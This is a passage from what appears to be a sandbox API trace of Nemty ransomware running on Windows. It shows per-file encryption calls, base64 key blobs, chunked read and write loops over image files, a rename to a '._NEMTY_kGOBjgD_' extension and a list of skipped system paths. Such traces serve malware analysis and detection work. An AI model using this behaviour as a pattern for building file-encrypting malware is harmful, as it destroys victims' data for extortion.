lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0117.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0117.669] Sleep (dwMilliseconds=0x5) [0117.684] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf9cac9b0, dwHighDateTime=0x1d561e7)) [0117.684] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf9cac9b0, dwHighDateTime=0x1d561e7)) [0117.684] GetLastError () returned 0x5 [0117.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0117.684] GetLastError () returned 0x5 [0117.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0117.684] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0117.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0117.684] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0117.684] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0117.685] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0117.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340330 [0117.685] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340330, pcchString=0x653e91c | out: pszString="1uFny34CmK4kohucimLk3el3/L9baW3/pO1uBfp2pPVCwaWYeFn8bN+4ki0tjgVR\r\nMfNzqqe+yD0CdH9by75MS6Cz1pPQ9DhhmEkHd0k73dGirno3YolofqzM8VLPk4BH\r\nOJGlRjzUL9zGM4YhV3IwVMTc3UAgp9DcdKjDr4ZsW/mySOgtVUVNCfcu/U/0ITW6\r\n7p5hajPeQJmu3FEuQOhSkJG6dKgXd2BIbQiEnZ6BVgUZJUk15j3MqG65ZSOyLtIH\r\n/jZG5+17hAgfRc99IKGA8WfaVfvW7jF+b3LVxLvOtoGxwRPQWZDklfsWgZseVcfN\r\nvvFNCN4pn2EQbLJrSsXosw==\r\n", pcchString=0x653e91c) returned 1 [0117.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0117.685] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0117.685] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0117.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0117.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340330 [0117.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0117.685] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty_dot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty_dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.685] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0117.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0117.685] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.685] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.694] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.694] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.694] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.694] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.703] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.703] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.703] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.704] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.713] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.713] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.722] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.722] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.722] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.722] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.731] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.731] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.731] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.731] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.741] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.741] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.741] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.741] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.750] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.750] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.750] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.750] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.759] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.759] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.759] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.759] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.774] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.774] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.774] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.774] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.791] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.792] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.792] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.792] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.798] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.798] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.798] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.798] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.804] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.804] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.804] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.804] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340330, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0117.804] CloseHandle (hObject=0xffffffff) returned 0 [0117.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a0 [0117.804] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0117.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0117.804] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0117.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0117.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0117.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0117.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344090 [0117.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0117.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0117.805] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty_dot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty_dot.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty_dot.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty_dot.png._nemty_kgobjgd_")) returned 0 [0117.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0117.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a0 | out: hHeap=0x4f90000) returned 1 [0117.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0117.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0117.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0117.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0117.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0117.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0117.807] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82a9ddb4, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82a9ddb4, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28859907, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb8f, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="novelty_h.png", cAlternateFileName="")) returned 1 [0117.807] lstrcmpiW (lpString1="novelty_h.png", lpString2=".") returned 1 [0117.807] lstrcmpiW (lpString1="novelty_h.png", lpString2="..") returned 1 [0117.807] lstrcmpiW (lpString1="novelty_h.png", lpString2="...") returned 1 [0117.807] lstrcmpiW (lpString1="novelty_h.png", lpString2="windows") returned -1 [0117.807] lstrcmpiW (lpString1="novelty_h.png", lpString2="$RECYCLE.BIN") returned 1 [0117.807] lstrcmpiW (lpString1="novelty_h.png", lpString2="rsa") returned -1 [0117.807] lstrcmpiW (lpString1="novelty_h.png", lpString2="NTDETECT.COM") returned -1 [0117.807] lstrcmpiW (lpString1="novelty_h.png", lpString2="ntldr") returned -1 [0117.807] lstrcmpiW (lpString1="novelty_h.png", lpString2="MSDOS.SYS") returned 1 [0117.807] lstrcmpiW (lpString1="novelty_h.png", lpString2="IO.SYS") returned 1 [0117.807] lstrcmpiW (lpString1="novelty_h.png", lpString2="boot.ini") returned 1 [0117.807] lstrcmpiW (lpString1="novelty_h.png", lpString2="boot.ini") returned 1 [0117.807] lstrcmpiW (lpString1="novelty_h.png", lpString2="AUTOEXEC.BAT") returned 1 [0117.807] lstrcmpiW (lpString1="novelty_h.png", lpString2="ntuser.dat") returned -1 [0117.807] lstrcmpiW (lpString1="novelty_h.png", lpString2="desktop.ini") returned 1 [0117.807] lstrcmpiW (lpString1="novelty_h.png", lpString2="CONFIG.SYS") returned 1 [0117.807] lstrcmpiW (lpString1="novelty_h.png", lpString2="RECYCLER") returned -1 [0117.807] lstrcmpiW (lpString1="novelty_h.png", lpString2="BOOTSECT.BAK") returned 1 [0117.808] lstrcmpiW (lpString1="novelty_h.png", lpString2="bootmgr") returned 1 [0117.808] lstrcmpiW (lpString1="novelty_h.png", lpString2="programdata") returned -1 [0117.808] lstrcmpiW (lpString1="novelty_h.png", lpString2="appdata") returned 1 [0117.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0117.808] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty_h.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0117.808] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty_h.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="novelty_h.png", lpUsedDefaultChar=0x0) returned 13 [0117.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0117.808] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty_h.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0117.808] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty_h.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="novelty_h.png", lpUsedDefaultChar=0x0) returned 13 [0117.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0117.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0117.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0117.808] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty_h.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0117.808] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty_h.png", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="novelty_h.png", lpUsedDefaultChar=0x0) returned 13 [0117.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0117.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0117.808] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty_h.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0117.808] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty_h.png", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="novelty_h.png", lpUsedDefaultChar=0x0) returned 13 [0117.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0117.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0117.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0117.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340288 [0117.808] Sleep (dwMilliseconds=0x5) [0117.809] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf9ddd4b0, dwHighDateTime=0x1d561e7)) [0117.809] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf9ddd4b0, dwHighDateTime=0x1d561e7)) [0117.809] GetLastError () returned 0x5 [0117.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0117.809] GetLastError () returned 0x5 [0117.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0117.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0117.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0117.809] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0117.809] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0117.810] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0117.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340330 [0117.810] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340330, pcchString=0x653e91c | out: pszString="meHJOsXssytpy0k34l6gs9cHDOOEy0iB3jwvuWA9W8PaqTDZWM6tj6j+u6FsQpfH\r\nHBg8uOXdbIp6LOf5a/cqrvisw807DHAcUPqiKMgiMjy8k71GMkylWr2wHUPwLs/Q\r\nJuiiP7Bbeu5H6+mUY+95iqFwVNMYjTWGV6f5phfZjkdivoxVZnYAZFDMC3MNO9EK\r\nkpRbq/WjzuIHSk13+S0gWK8iX2DNTvvZ33TuPnngL/KO7WvZaYyfLe+89/OqsgRQ\r\n7X/1q3Fl/oTJtu0AmRV/KHBuj67yDfKG76RVRrqB8jU2GWXkVilfDm/ip//QyM2T\r\nmxNSzy2jrY1Ux5uNTBwLwQ==\r\n", pcchString=0x653e91c) returned 1 [0117.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0117.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0117.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0117.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0117.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340330 [0117.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0117.810] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty_h.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty_h.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, 